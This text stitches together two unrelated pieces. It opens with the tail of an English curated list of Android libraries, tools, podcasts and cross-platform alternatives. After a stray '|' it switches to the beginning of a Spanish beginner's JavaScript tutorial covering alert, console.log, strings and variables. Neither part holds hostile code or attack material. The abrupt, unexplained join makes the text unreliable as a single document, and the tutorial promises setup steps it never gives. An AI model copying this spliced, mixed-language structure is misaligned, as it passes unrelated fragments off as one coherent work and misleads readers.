- [MagicalCamera](https://github.com/fabian7593/MagicalCamera) - Simple way to take or select photos of your gallery, with other features for manage pictures.
- [Camera](https://github.com/duanhong169/Camera) - Use Android camera to take pictures and videos, based on camera2 api.
#### Field Validation
- [Convalida](https://github.com/WellingtonCosta/convalida) - A simple and annotation-based way to validate your input fields.
### JSON
- [Gson](https://github.com/google/gson) - Gson is a Java library used for serializing and deserializing Java objects from and into JSON.
- [Jackson JSON Processor](https://github.com/FasterXML/jackson) - High-performance JSON processor.
- [Moshi](https://github.com/square/moshi) - A modern JSON library for Android and Java.
### Crash monitoring
- [Fabric Crashlytics](https://get.fabric.io/) - Easy crash reporting solution.
- [HockeyApp](https://www.hockeyapp.net/) - Distribution, Crash Reports, Feedback and Analytics
- [Splunk MINT](https://mint.splunk.com/) - Monitoring, Crash Reports, Real time data, Statistic.
- [Bugsnag](https://www.bugsnag.com/) - Cross platform error monitoring. Free tier. Support for SDK & NDK. Error reports include data on device, release, user, and allows arbitrary data.
- [Catcho](https://github.com/alhazmy13/Catcho) - No Force Close any more.
- [Apteligent](https://www.apteligent.com/) - Cross platform crash reporting/analytics solution. Supports NDK log.
- [Instabug](https://instabug.com/) - Bug reporting, Crash Reporting, In-app Feedback.
### Networking
- [Ion](https://github.com/koush/ion) - Good networking library for android.
- [OkHttp](https://github.com/square/okhttp) - An HTTP+SPDY client for Android and Java applications.
- [RoboSpice](https://github.com/stephanenicolas/robospice) - Library that makes writing asynchronous network requests easy.
- [IceNet](https://github.com/anton46/IceNet) - Fast, Simple and Easy Networking for Android
- [Android Volley](https://developer.android.com/training/volley/) - Official Android HTTP library that makes networking for easier and faster.
- [IceSoap](https://github.com/AlexGilleran/IceSoap) - Easy, asynchronous, annotation-based SOAP for Android.
- [node-android](https://github.com/InstantWebP2P/node-android) - Run Node.js on Android.
- [HappyDns](https://github.com/qiniu/happy-dns-android) - A Dns library, user can use custom dns server, dnspod httpdns. Only support A record.
- [RESTMock](https://github.com/andrzejchm/RESTMock) - HTTP Web server for mocking API responses in Android Instrumentation tests.
- [Fast-Android-Networking](https://github.com/amitshekhariitbhu/Fast-Android-Networking) - A Complete Fast Android Networking Library that also support HTTP/2.
### Logger
- [logger](https://github.com/orhanobut/logger) - Simple, pretty and powerful logger for android
- [timber](https://github.com/JakeWharton/timber) - A logger with a small, extensible API which provides utility on top of Android's normal Log class.
- [LoggingInterceptor](https://github.com/ihsanbal/LoggingInterceptor) - An OkHttp interceptor which pretty logs request and response data.
- [Bugfender](https://github.com/bugfender/BugfenderSDK-android-sample) - Upload your logs and check them online, specially made for mobile
- [EzyLogger](https://github.com/afiqiqmal/EzyLogger) - Simple Lightweight logger
- [Logback Android](https://github.com/tony19/logback-android) - Logback port to Android which provides a highly configurable logging framework for Android apps.
### Notifications
- [android-remote-notifications](https://github.com/kaiwinter/android-remote-notifications) - Pulls notifications from a remote JSON file and shows them in your app.
- [Android HeartBeat Fixer](https://github.com/joaopedronardari/AndroidHeartBeatFixer) - Way to set heartbeat interval and users receive PushNotifications from GCM.
### Database
- [Cupboard](https://bitbucket.org/littlerobots/cupboard) - Access the sqlite easily via direct database access or through the ContentProvider framework.
- [DbInspector](https://github.com/infinum/android_dbinspector) - Provides a simple way to view the contents of the in-app database for debugging purposes.
- [SQLite Asset Helper](https://github.com/jgilfelt/android-sqlite-asset-helper) - manage database creation and version management using an application's raw asset files.
- [Realm](https://github.com/realm/realm-java) - The alternative to SQLite and ORMs: Simple, modern and fast! Object oriented API and multi platform support.
- [Realm Asset Helper](https://github.com/eggheadgames/android-realm-asset-helper) - Copies a realm database from the apk assets folder. Efficiently handles versioning of read-only realm databases.
- [RestorableSQLiteDatabase](https://github.com/yaa110/RestorableSQLiteDatabase) - A wrapper to replicate android's SQLiteDatabase with restoring capability.
- [Nitrite Database](https://github.com/dizitart/nitrite-database) - A NoSQL embedded document store for Android with MongoDb like API.
#### ORM
- [requery](https://github.com/requery/requery) - Compile time ORM and SQL query library for Java & Android.
- [GreenDAO](http://greenrobot.org/greendao/) - Light & fast ORM solution.
- [ORMLite](http://ormlite.com/sqlite_java_android_orm.shtml) - Lightweight ORM Java package for JDBC and Android.
- [ActiveAndroid](http://www.activeandroid.com) - Active record style ORM.
- [Sugar ORM](http://satyan.github.io/sugar/) - Insanely easy way to work with Android Databases.
- [DBFlow](https://github.com/agrosner/DBFlow) - Fast and powerful ORM with compile-time annotation processing.
- [NexusData](https://github.com/dkharrat/NexusData) - Object graph and persistence framework for Android.
- [SimpleNoSQL](https://github.com/Jearil/SimpleNoSQL) - A simple NoSQL client for Android. Meant as a document store using key/value pairs and some rudimentary querying. Useful for avoiding the hassle of SQL code.
- [RxSimpleNoSQL](https://github.com/xmartlabs/RxSimpleNoSQL) - Reactive extensions for SimpleNoSQL. Manipulate entities using Observables.
### REST
- [Retrofit](https://square.github.io/retrofit/) - Retrofit turns your REST API into a Java interface.
- [Spring for Android - Rest Template](https://github.com/spring-projects/spring-android) - A Rest Client for Android.
### Testing
- [Robotium](https://github.com/robotiumtech/robotium) - Test automation framework for black-box UI tests.
- [Roboletric](http://robolectric.org/) - Unit test framework to run tests inside the JVM on your workstation, not in the emulator.
- [AssertJ Android](https://github.com/square/assertj-android) - AssertJ assertions geared towards Android.
- [Green Coffee](https://github.com/mauriciotogneri/green-coffee) - Run your Cucumber tests in your Android instrumentation tests.
### Tracking
- [MobileAppTracking](https://www.tune.com/) - Tracking your marketing campaigns across multiple ad networks.
- [Mixpanel](https://mixpanel.com/) - Analytics platform to analyze the users.
- [Countly](https://count.ly) - Open source mobile & web analytics, push notifications and crash reporting platform, based on Node.js, MongoDB and Linux.
- [CleverTap](https://clevertap.com) - Analytics platform and user-engagement platform with 1 million free events
### Maps
- [Google-Directions-Android](https://github.com/jd-alexander/Google-Directions-Android) - Allows you to calculate the direction between two locations and display the route on a Google Map using the Google Directions API.
- [Android Maps Extensions](https://github.com/mg6maciej/android-maps-extensions) - Extending capabilities of Google Maps Android API v2, adding marker clustering among other things
- [MapScaleView](https://github.com/pengrad/MapScaleView) - Scale bar for Google Maps Android API
- [GLMap](https://globus.software) - Crossplatform offline vector map with MapCSS styling. Offline search and offline navigation are included.
### Utility
- [Conceal SharedPreferences](https://github.com/afiqiqmal/SharedChamber) - Secured Preferences using Facebook Secure Encryption called Conceal.
- [EventBus](http://greenrobot.github.io/EventBus/) - EventBus is a library that simplifies communication between different parts of your application.
- [Otto](https://github.com/square/otto) - Event Bus for Android.
- [Weak handler](https://github.com/badoo/android-weak-handler) - Memory safer implementation of android.os.Handler.
- [Byte Buddy](http://bytebuddy.net) - Runtime code generation library with support for Android.
- [Secure Preference Manager](https://github.com/prashantsolanki3/Secure-Pref-Manager) - Secure Preference Manager for android. It uses various Encryption to protect your application's Shared Preferences.
- [LeakCanary](https://github.com/square/leakcanary) - Catch memory leaks as they occur.
- [Drekkar](https://github.com/coshx/drekkar) - An Android event bus for WebView and JS.
- [Androl4b](https://github.com/sh4hin/Androl4b) - A vm for assessing android applications.
- [DroidMVP](https://github.com/andrzejchm/DroidMVP) - Android library to help you incorporate MVP along with Passive View and Presentation Model patterns into your app.
- [EasyDeviceInfo](https://github.com/nisrulz/easydeviceinfo) - Get device information in a super easy way.
- [Shutter-Android](https://github.com/levibostian/Shutter-Android) - Capture photos/videos from device camera or get photos/video from gallery app with no runtime permissions needed.
- [Validator](https://github.com/anderscheow/Validator) - An utilities class to validate text inside TextInputLayout.
- [Keyboard Visibility Event](https://github.com/viniciusmo/keyboard-visibility-event-android/) - A DSL to handle soft keyboard visibility change event.
- [TimeIt](https://github.com/yashovardhan99/timeit) - A stopwatch library for android which makes it easy to start, pause, display and maintain multiple stopwatches in an app.
- [Reactor](https://github.com/oky2abbas/reactor) - Reactor is a fast and secure key-value library for Android.
### Debugging Tools
- [Linx](https://github.com/pedrovgs/Lynx) - Show logcat inside the device for debug builds
- [Scalpel](https://github.com/JakeWharton/scalpel) - View the entire hierarchy in 3d in the phone.
- [Stetho](https://github.com/facebook/stetho) - Debug hierarchy and network from chrome.
- [Android Debug Database](https://github.com/amitshekhariitbhu/Android-Debug-Database) - Android Debug Database is a powerful library for debugging databases and shared preferences in Android applications.
- [Android Debug Bridge - ADB](https://github.com/mzlogin/awesome-adb/blob/master/README.en.md) - a command-line tool to assist in debugging Android-powered devices
- [ADB Enhanced](https://github.com/ashishb/adb-enhanced) - a command-line wrapper around ADB for developers, so that, developers don't have to remember esoteric version-dependent commands
- [Pidcat](https://github.com/JakeWharton/pidcat) - a colored command-line ADB wrapper that only shows log entries for a specific application package
- [AppSpector](https://appspector.com) - Remote Android and iOS debugging and data collection service. You can debug networking, logs, SQLite and mock device's geo location.
### Wireless
- [SmartGattLib](https://github.com/movisens/SmartGattLib) - Simplifies the work with Bluetooth SMART devices (a.k.a. Bluetooth Low Energy in Bluetooth 4.0).
### Chat & Messaging
- [Applozic Android Chat SDK](https://github.com/AppLozic/Applozic-Android-SDK) - Android Chat and Messaging SDK for adding real time chat and in-app messaging into your android application.
- [Qiscus SDK](https://github.com/qiscus/qiscus-sdk-android) - Qiscus SDK is a lightweight and powerful android chat library. Qiscus SDK will allow you to easily integrating Qiscus engine with your apps to make cool chatting application.
- [Kommunicate Live Chat SDK](https://github.com/Kommunicate-io/Kommunicate-Android-Chat-SDK) - Kommunicate provides open source live chat sdk in android. Kommunicate lets you add real time live chat and in-app messaging in your mobile (android, iOS) applications and website for customer support.
- [CometChat Voice, Video and Text Chat SDK with UI](https://github.com/cometchat-go/android-chat-sdk-demo) - Add voice, video and text chat to your app (and website) in minutes using CometChat. CometChat's SDK includes a complete ready UI so that you don't have to spend any time building one! That's not all, CometChat has out-of-the-box support for real-time translation, whiteboards, screen sharing, friends sync, role based access control, credits deduction and more.
- [Build a one-on-one Android chat app using Kotlin](https://www.cometchat.com/tutorials/build-one-on-one-chat-in-your-android-app-using-kotlin/) - Build a one-one-one Android chat app in Kotlin within few minutes using CometChat Pro. This tutorial discusses the features such as login, getting list of contacts, user presence indicators, sending/receiving messages etc.
- [Stream Chat](https://getstream.io/tutorials/android-chat/) - Comprehensive SDK & Components for real-time chat, powered by [Stream](https://getstream.io/chat/).
- [Add Push Notifications to Your Android Chat App Using Kotlin](https://www.cometchat.com/tutorials/android-chat-push-notifications/) - Add push notifications in your Android chat apps in Kotlin with the help of CometChat Pro and Firebase Cloud Messaging (FCM).
#### Custom Dialog
- [MediaRecorderDialog](https://github.com/alhazmy13/MediaRecorderDialog) - Custom Dialog to record audio, store it and play it in your phone.
- [HijriDatePicker](https://github.com/alhazmy13/HijriDatePicker) - offers a hijri (Islamic Calendar) Date Picker designed on Google's Material Design Principals For Pickers.
- [Noty](https://github.com/emre1512/Noty) - A simple library for creating animated alerts/dialogs/warnings.
### Version Checking
- [AppUpdater](https://github.com/javiersantos/AppUpdater) - comprehensive and feature rich library, including support for checks at Amazon and FDroid.
- [Gandalf](https://github.com/btkelly/gandalf) - comprehensive features and a "companion" iOS solution.
- [Siren](https://github.com/eggheadgames/Siren) - focused feature set that mimicks the popular iOS library of the same name. Supports Play and Amazon.
- [Fit](https://github.com/KeithYokoma/Fit) - version checking callback framework with no UI.
### Date & Time
- [ThreeTen Android Backport](https://github.com/JakeWharton/ThreeTenABP) - An adaptation of the JSR-310 backport for Android.
- [Joda-Time Android](https://github.com/dlew/joda-time-android) - Joda-Time library with Android specialization.
- [True Time](https://github.com/instacart/truetime-android) - Android NTP time library. Get the true current time impervious to device clock time changes.
### Runtime Permissions
- [Permission Dispatcher](https://github.com/permissions-dispatcher/PermissionsDispatcher) - Simple annotation-based API to handle runtime permissions.
- [RxPermissions](https://github.com/tbruyelle/RxPermissions) - Android runtime permissions powered by RxJava.
- [NoPermission](https://github.com/NoNews/NoPermission) - Simple Android library for permissions request. Consists of only one class.
- [Ask-Permission](https://github.com/Kishanjvaghela/Ask-Permission) - Simple RunTime permission manager.
- [Gota](https://github.com/alhazmy13/Gota) - Simplifying Android Permissions.
- [EasyPermissions](https://github.com/googlesamples/easypermissions) - EasyPermissions is a wrapper library to simplify basic system permissions logic when targeting Android M or higher.
### Payments
- [Square In-App Payments for Android](https://developer.squareup.com/docs/in-app-payments-sdk/build-on-android) - Integrate Square payments into your mobile app with Digital wallet and stored card support for quick checkout.
### Other
- [Android Support library](https://developer.android.com/topic/libraries/support-library/) - The Android Support Library package is a set of code libraries that provide backward-compatible versions of Android framework API.
- [Google Play Services](https://developers.google.com/android/guides/overview) - Library to access Google services, such as account syncing, Google+ (sharing, single sign-on), Google Maps, Location APIs, Google Play Games, Cloud Messaging, Android Device Manager, and others.
- [Tape](https://github.com/square/tape) - A lightning fast, transactional, file-based FIFO for Android and Java.
- [Guava: Google Core Libraries for Java](https://github.com/google/guava) - Collections, caching, primitives support, concurrency libraries, common annotations, string processing, I/O, and so forth.
- [Android Scripting](https://github.com/damonkohler/sl4a) - Allows to run scripting languages on Android.
- [Android Priority Job Queue](https://github.com/yigit/android-priority-jobqueue) - Implementation of a Job Queue to easily schedule jobs (tasks) that run in the background, improving UX and application stability.
- [RateMeMaybe](https://github.com/nspo/RateMeMaybe) - Asks the user if (s)he wants to open the Play Store to rate your application.
- [Easy Rating Dialog](https://github.com/fernandodev/easy-rating-dialog) - Lib provides a simple way to display an alert dialog for rating app.
- [ZXing Android-Integration](https://github.com/zxing/zxing) - Integration with Barcode Scanner via Intent.
- [Gradle Retrolambda Plugin](https://github.com/evant/gradle-retrolambda) - Java 8 Lambdas on Android!
- [RxJava](https://github.com/ReactiveX/RxJava)- RxJava – Reactive Extensions for the JVM – a library for composing asynchronous and event-based programs using observable sequences for the Java VM.
- [RxAndroid](https://github.com/ReactiveX/RxAndroid) - Adds minimum RxJava bindings for easy writing of reactive Android java code.
- [RxBinding](https://github.com/JakeWharton/RxBinding)- RxBinding – RxJava binding APIs for Android UI widgets from the platform and support libraries.
- [Caffeine](https://github.com/percolate/caffeine) - A collection of utility classes that help make Android development faster.
- [AboutLibraries](https://github.com/mikepenz/AboutLibraries) - Automatically generates an About this app section, with a list of used libraries.
- [AudioPlayerView](https://github.com/HugoMatilla/AudioPlayerView) - A view that loads audio from an url and have basic playback tools.
- [andle](https://github.com/Jintin/andle) - command line tool help you sync dependencies, sdk or build tool version.
- [Typography](https://github.com/workarounds/typography) - An Android library that makes it easy to use custom fonts in views.
- [Calligraphy](https://github.com/chrisjenx/Calligraphy) - Custom fonts in Android an OK way.
- [transai](https://github.com/Jintin/transai) - command line tool help you manage localization string files.
- [Android-Link-Preview](https://github.com/LeonardoCardoso/Android-Link-Preview) - It makes a preview from an url, grabbing all the information such as title, relevant texts and images.
- [Sensey](https://github.com/nisrulz/sensey) - Detecting gestures in a snap.
- [UserAwareVideoView](https://github.com/kevalpatel2106/UserAwareVideoView) - A customized video view that will automatically pause video is user is not looking at device screen!
- [Flexbox Layout](https://github.com/google/flexbox-layout) - FlexboxLayout is a library which brings the similar capabilities of CSS Flexible Box Layout Module to Android.
- [Agile Boiler Plate](https://github.com/xresco/Android-Agile-Boiler-Plate) - The boiler plate is based on MVP architecture and it is fully based on Dependency Injection design pattern using Dagger2.
- [Gradle buildSrcVersions](https://github.com/jmfayard/buildSrcVersions) - A kotlin dsl to simplify dependencies management
- [Teller](https://github.com/levibostian/Teller-Android/) - Teller facilitates the downloading, saving, and reading of the cached data of your app. Keep your user's data fresh and remove those annoying loading screens!
## Resources
- [Programming Community Curated Resources for Learning Android Development](https://hackr.io/tutorials/learn-android-development) - Android Tutorials & Courses submitted and voted by the programming community.
- [Vogella Tutorials](https://www.vogella.com/tutorials/android.html) - Very good tutorials by Lars Vogel.
- [Android Design in Action Video series](https://www.youtube.com/playlist?list=PLWz5rJ2EKKc8j2B95zGMb8muZvrIy-wcF) The video series by Android Design Team of Google.
- [Android DevBytes Video Series](https://www.youtube.com/playlist?list=PLWz5rJ2EKKc_XOgcRukSoKKjewFJZrKV0) - It is the technical counterpart of Android Design in Action series.
- [Developing for Android](https://medium.com/google-developers/developing-for-android-introduction-5345b451567c) - A series of articles from Googler Chet Hasae and others, answering most commonly asked question: "What are some of the important rules to keep in mind when developing Android applications?".
- [Android Hive Tutorials](https://www.androidhive.info) - Very good tutorials for beginners.
- [Android Weekly](https://androidweekly.net) - Newsletter with weekly information about android.
- [Android Asset Studio](http://romannurik.github.io/AndroidAssetStudio/) - Generator for icons and other assets.
- [Android Action Bar Style Generator](http://jgilfelt.github.io/android-actionbarstylegenerator/).
- [Device Art Generator](https://developer.android.com/distribute/marketing-tools/device-art-generator) - Wraps app screenshots in real device artwork.
- [Android UI design resources](https://androiduiux.com/free-design-resources/) - Gives you wide variety of design resources form a Google Developer Expert in UI/UX.
- [Pencil Project](https://pencil.evolus.vn/) - An open source prototyping software.
- [How to Make Android Apps](https://www.youtube.com/playlist?list=PLGLfVvz_LVvSPjWpLPFEfOCbezi6vATIh) - Video tutorials by Derek Banas.
- [android-blogs](https://github.com/vbauer/android-blogs) - List with blogs about Android.
- [Future Studio](https://futurestud.io/tutorials/tag/android) - Extensive Android tutorials on Retrofit, Picasso, Glide & Gson.
- [Android Tips & Tricks](https://github.com/nisrulz/android-tips-tricks) - Cheatsheet about tips and tricks for Android Development.
- [Associate Android Developer Certification Materials](https://github.com/Amejia481/Associate-Android-Developer-Certification) - A collection of materials for getting ready for the test.
- [Google Developers Training](https://developer.android.com/courses/) - Google Developers Official Training page has list of various useful learning resources for beginner as well seasoned developer.
- [Mindorks](https://mindorks.com/) - Become a complete and happy Android developer.
- [AndroidVille](https://ayusch.com/) - Become a better Android Engineer. A website dedicated to Android Development covering advanced topics such as RxJava, Android Zygote and much more.
- [Android Stack Weekly](https://blog.canopas.com/tagged/canopas-android-weekly) - A weekly newsletter on new development and updates of Android universe.
### Code examples
- [Android Architecture Blueprints](https://github.com/android/architecture-samples) - The Android Architecture Blueprints project demonstrates strategies to help solve or avoid common android problems.
- [Kotlin MVVM example](https://github.com/emedinaa/kotlin-mvvm) - Example about MVVM (Model View ViewModel) Pattern.
- [Kotlin VIPER example](https://github.com/OmiSoftNet/AndroidViperTemplate) - Example about VIPER (View Interactor Presenter Entity Router) Pattern.
- [Complete-Google-Map-API-Tutorial](https://github.com/mohammadima3oud/Complete-Google-Map-API-Tutorial) - Learn How to use Google Map API for Android from Basic to Advance with complete examples.
- [Android Modular Architecture](https://github.com/VMadalin/kotlin-sample-app) - Android Sample App using modular, clean, scalable, testable Architecture written in Kotlin following the best practices with Jetpack.
### Podcasts
- [Fragmented](https://fragmentedpodcast.com/) is the Android developer podcast where Donn Felker and Kaushik Gopal talk about building good software and becoming better Android developers.
- [Android Developers Backstage](http://androidbackstage.blogspot.com/) is a podcast by and for Android developers. Hosted by developers from the Android engineering team, this show covers topics of interest to Android programmers, with in-depth discussions and interviews with engineers on the Android team at Google.
- [Android Dialogs](https://www.youtube.com/channel/UCMEmNnHT69aZuaOrE-dF6ug/feed) is a video based podcast, where they have bite-sized conversations with people from the Android community.
- [The Context](https://github.com/artem-zinnatullin/TheContext-Podcast) a podcast about Android Development with Hannes Dorfmann, Artem Zinnatullin and wonderful guests!
- [Talking Kotlin](https://talkingkotlin.com/) - A Podcast on Kotlin and more.
- [Android Authority](https://www.androidauthority.com/podcast/) is a weekly Android podcast hosted by Adam Doud, Joe Hindy, and Jonathan Feist from the Android Authority team.
- [Android Central](https://www.androidcentral.com/podcast) - is a weekly Android podcast hosted by the Android Central team.
### More lists of libraries
- [The Android Arsenal](https://android-arsenal.com/) - Large list of android libraries
- [Square libraries](https://square.github.io/) - Multiple high quality libraries by square.
- [Awesome Android @LibHunt](https://android.libhunt.com) - Your go-to Android Toolbox.
- [Android Store](https://mindorks.com/android/store) - Search Android Libraries, Projects, and Tools.
## Development Alternatives
My personal recommendation is (for now) to use the android api to build a native app. Scala can help to build this native apps with cleaner code but it adds to many methods (Multidex required). Kotlin is a modern language with 100% interoperatibility with java projects **without multidex**. But there are also use cases where alternatives like cross-platform development can be useful.
### C#
- [Xamarin](https://visualstudio.microsoft.com/xamarin/) - Framework to create native iOS, Android, Mac and Windows apps in C#.
### HTML, CSS and Javascript
- [PhoneGap](https://phonegap.com) - Open source framework by Adobe to create cross platform mobile apps using HTML, CSS, and JavaScript.
- [Titanium](http://www.appcelerator.com/mobile-app-development-products/) - Open-source framework to create 'native' cross platform apps using JavaScript.
- [NativeScript](https://www.nativescript.org/) - An open-source framework to build native iOS and Android apps with JavaScript from a single code base.
- [React Native](https://github.com/facebook/react-native) - A framework for building native apps with React by Facebook.
- [Ionic Framework](https://ionicframework.com) - A framework to build hybrid apps with mobile-optimized HTML, CSS and JS with AngularJS.
- [Apache Cordova](https://github.com/apache/cordova-android) - Cordova based applications are, at the core, applications written with web technology: HTML, CSS and JavaScript.
- [Capacitor](https://github.com/ionic-team/capacitor) - Build cross-platform Native Progressive Web Apps for iOS, Android, and the web. Very promising Cordova alternative.
### Lua
- [Corona SDK](https://coronalabs.com/product/) - Framework to create native iOS and Android Apps (especially Games).
### Scala
- [Scaloid](https://github.com/pocorall/scaloid) - Library for less painful Android development with Scala.
- [Macroid](https://github.com/47deg/macroid) - A modular functional UI language for Android.
### Groovy
- [Groovy on Android](http://melix.github.io/blog/2014/06/grooid.html) - Introduction to Groovy on Android.
- [Groovy Language Support for Android](https://github.com/groovy/groovy-android-gradle-plugin) - Gradle Plugin for Compiling Groovy for Android.
- [SwissKnife](https://github.com/Arasthel/SwissKnife) - A multi-purpose Groovy library containing view injection and threading for Android using annotations.
### Kotlin
- [Anko](https://github.com/Kotlin/anko) - DSL for Android written in Kotlin by JetBrains.
- [Kotterknife](https://github.com/JakeWharton/kotterknife) - Android view injection written in Kotlin based on ButterKnife
- [Android Kotlin Samples](https://github.com/irontec/android-kotlin-samples) - Some basic Android code samples written in Kotlin.
- [Kotlin coding puzzles](https://github.com/igorwojda/kotlin-coding-puzzle) - Set of programming challenges thats helps to improve whiteboard coding and problem-solving skills.
- [KAndroid](https://github.com/pawegio/KAndroid) - Lightweight library providing useful extensions to eliminate boilerplate code in Android SDK.
- [RxKotlin/Pocket](https://github.com/RxKotlin/Pocket) - This app help user to save links easily, and can export to Evernote as weekly.
- [Android Clean Architecture - Kotlin](https://github.com/patrickyin/clean-architecture-android-kotlin) - A base project using the Uncle Bob's clean architecture with Kotlin language and the latest Android technologies.
- [Koin](https://insert-koin.io/) - Lightweight dependency injection framework for Kotlin
### Flutter
- [Flutter](https://flutter.dev/) - Google's mobile app SDK for high-quality native interfaces for Android and iOS in very quick time.
# Performance
- [awesome-android-performance](https://github.com/Juude/awesome-android-performance) - A list of awesome Android tutorials, videos and tools for performance optimization.
- [Booster](https://github.com/didi/booster) - Booster is an optimization toolkit for Android applications.
# Other Awesome Lists
Other amazingly awesome lists can be found in the [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) list.
## Contributing
Your contributions are always welcome! Please read the [contribution guidelines](contributing.md) first.
|
## Introducción a JavaScript
En esta guía van a encontrar explicaciones y ejercicios de los conceptos que considero básicos de programación en JavaScript.
Hay otra guía un poco más amena que se llama "[JavaScript para gatos](https://jsparagatos.com/)". Recomiendo que lean esa guía y en todo caso si les quedó alguna consulta, guiarse por la tabla de contenidos de esta guía. O si confían en mi estilo, leerla directamente.
También recomiendo la guía de MDN "[JavaScript](https://developer.mozilla.org/es/docs/Learn/JavaScript)".
**Hago los ejercicios?** Aunque pueden saltearse un ejercicio, no lo recomiendo. Quizás parezca trivial y piensen que saben cómo resolverlo, de ser así, más razón para hacerlos. Los ejercicios no van a ser muy largos y los va a ayudar a consolidar lo que acaban de leer.
## Motivación
Cada uno tiene sus objetivos, pero les puedo decir que
- JavaScript es uno de los lenguajes de programación más populares que existen... en realidad creo que es el más popular que existe.
- Suele ser solicitado en puestos de trabajo como programador (trabajo que suele pagarse bien).
- Pueden empezar a programar solo con un navegador web.
- Es fácil y divertido de aprender al tener feedback rápido en el desarrollo.
- Tiene [comunidades geniales](#comunidades-geniales) siempre dispuestas a ayudar, en especial a los que empiezan.
- No solo se usa en la web, se usa para aplicaciones, robots, servidores, ...
Ya sea que quieren conseguir un trabajo o crear algo por ustedes, es una muy buena opción para empezar.
## Requisitos previos
- Un navegador web instalado, recomiendo [Brave](https://brave.com/) o [Google Chrome](https://www.google.com/chrome/).
Nada más 😁
## Tener en cuenta
- Al ejecutar todo en un navegador web, no vamos a entrar en problemas con la compu. A lo sumo si nos quedamos trabados podemos recargar la página y volver a escribir lo que habíamos puesto.
- Los errores de sintaxis son muy frecuentes al empezar. Recomiendo llevar nota de la sintaxis al principio (aunque hay un [cheat sheet](#cheat-sheet) también), para consultar rápido al escribir una instrucción de código.
- No copien y peguen, escriban las instrucciones siempre así se acostumbran a la sintaxis y ven mejor lo que ponen.
- No le tengas miedo a los errores. Los errores nos dicen (en inglés) qué hicimos mal. Es parte del proceso. Generalmente son buenos indicando exactamente cuál fue nuestro problema. Más adelante vamos a ver alguno de los errores más comunes que nos podemos encontrar.
- Probá todo lo que se te ocurra en el snippet o consola de desarrollador, no te quedes con dudas. Yo espero que si pongo un pedazo de código, lo pruebes y veas qué pasa.
- Si hay algo que no te quedó claro, googlea. Si no encontraste respuesta después de buscar, podés contactarme y feliz de responderte.
- Pueden comentar su código agregando una línea así `// comentario, esto no se va a ejecutar`.
## Qué es JavaScript
Es un **lenguaje de programación**, con el cual vamos a **definir las instrucciones** a seguir para **lo que estemos programando**.
Mucha gente que aprende JavaScript lo hace para desarrollo web, o sea, darle comandos a una página web para que haga algo. Pero tengan en cuenta que también se puede usar para darle comandos a una computadora, celular, robot, y más.
Al estar en un entorno web, cuando escribamos código le vamos a decir a nuestra página web qué pasos debe hacer.
Es importante saber también que debemos respectar por completo la sintaxis, de lo contrario nuestro programa no funcionará (o funcionará mal).
## Empezando
Les voy a introducir su entorno de desarrollo. Para abrirlo sigan estos pasos.
Si quieren saber más acerca de los "snippets" pueden ver esta [entrada sobre snippets](https://developers.google.com/web/tools/chrome-devtools/javascript/snippets) que hizo Google.
Cada línea que escriban en ese editor va a ser una "sentencia" o instrucción para el navegador web, el cual va a leer esa instrucción y va a hacer lo que le digan a través de esa instrucción.
Por ejemplo podemos escribir
```javascript
alert("Hola mundo!");
```
y cuando lo ejecutemos apretando "Run" vamos a ver que aparece una ventana molesta con nuestro mensaje.
Si nos molesta mucho esa ventana podemos escribir
```javascript
console.log("Hola mundo!");
```
y el mensaje va a aparecer en la consola, y no una ventana molesta.
Podemos escribir varias de estas sentencias, una debajo de la otra.
```javascript
console.log("Hola");
console.log("Cómo estás?");
console.log("Que bien!");
```
### Ejercicio
Para entender lo molesto que puede llegar a ser un `alert`, escribir 10 mensajes con alert, cada mensaje que indique el número de mensaje que es.
Luego hacer lo mismo pero con `console.log`.
## Strings
Lo que escribimos antes era un string: "Hola Mundo".
A tener en cuenta con los strings, (o textos), deben empezar **y** terminar con comillas simples `'` o dobles `"`.
Si queremos juntar 2 strings los podemos hacer así
```javascript
console.log("Hola, me llamo " + "Norman");
```
### Ejercicio
Imprimir 10 mensajes por consola o ventana de alerta (alert), haciendo 1 concatenación más por cada nuevo mensaje que hagan.
Por ejemplo si hago un nuevo mensaje, teniendo en cuenta el anterior mensaje que escribí, podría ser
```javascript
console.log("Hola, me llamo " + "Norman " + " y escribí una guía.");
```
## Valores y variables
Primer concepto clave.
> Una variable es un lugar donde puedo guardar un valor.
Entonces, qué es un valor? y para qué puedo querer guardar uno ahí?
> Los valores son datos que puede manejar un programa, estos pueden ser de distinto tipo.
En JavaScript los tipos de datos que puede manejar son strings, números, funciones, listas, ... y sigue, pero hasta acá por ahora.
### Declaración
Y cómo guardo un valor en una variable?
```javascript
var nombre = "Norman";
var edad = 24;
```
Cuando el tipo es numérico, no hace falta ponerlo entre comillas el valor, sino que ya entiende que es un número si empieza con un dígito.
### Partes
Vemos que esta sentencia tiene 4 partes.
- `var`: palabra reservada en JavaScript para declarar una variable.
- `nombre`: nombre de la variable, con la que luego voy a poder identificarla para obtener su valor. No pueden poner caracteres especiales, espacios o números al principio para definir la variable.
- `=`: la asignación, esto delimita el lado izquierdo y derecho de la declaración. En el lado izquierdo siempre voy a tener el nombre de la variable, identificar, del lado derecho siempre voy a tener el valor.
- `"Norman"`: valor que le asigno a la variable llamada `nombre`. Nos damos cuenta que es un valor al estar rodeado de comillas dobles.
Si al definir una variable usamos la asignación podemos acordarnos como regla que
> Del izquierdo de la asignación va un nombre identificador para la variable, del lado derecho de la asignación, un valor.
### Uso
Y cómo uso esta variable luego?
```javascript
var nombre = "Norman";
console.log(nombre);
console.log("Hola, " + nombre);
```
Obtenemos el valor de la variable por el nombre que le dimos.
Cuando se va a ejecutar una sentencia con una referencia a una variable podemos pensar en que se reemplaza la variable por el valor que tiene. Entonces una vez que encuentra el valor las sentencias quedan así
```javascript
var nombre = "Norman";
console.log("Norman");
console.log("Hola, " + "Norman");
```
### Reasignación
Y es importante saber que `nombre` puede tener otros valores que `"Norman"`, como `"Juan"`, `"Chocolate"`, ... cualquier cosa que se nos ocurra. Pero nosotros siempre vamos a obtener su valor llamando a la variable por su nombre `nombre`.
Luego podemos ponerle otro valor si queremos.
```javascript
var nombre = "Pepe";
console.log("Hola, " + nombre);
nombre = "Mr. Freeman";
console.log("Hola, " + nombre);
var nombre = "tortuga";
console.log("Hola, " + nombre);
```
Aunque el valor cambia, las sentencias son iguales.
### Caso real
Hay veces que queremos guardar valores para usarlos después. Por ejemplo un programa que pregunta por tu nombre 1 vez, guarda tu nombre en una variable y luego siempre que te habla hace referencia a esa variable para saber cómo llamarte.
Las explicaciones quedan abstractas, vamos a hacer ese programa.
```javascript
var nombre = prompt("Cuál es tu nombre?");
alert("Hola, " + nombre);
```
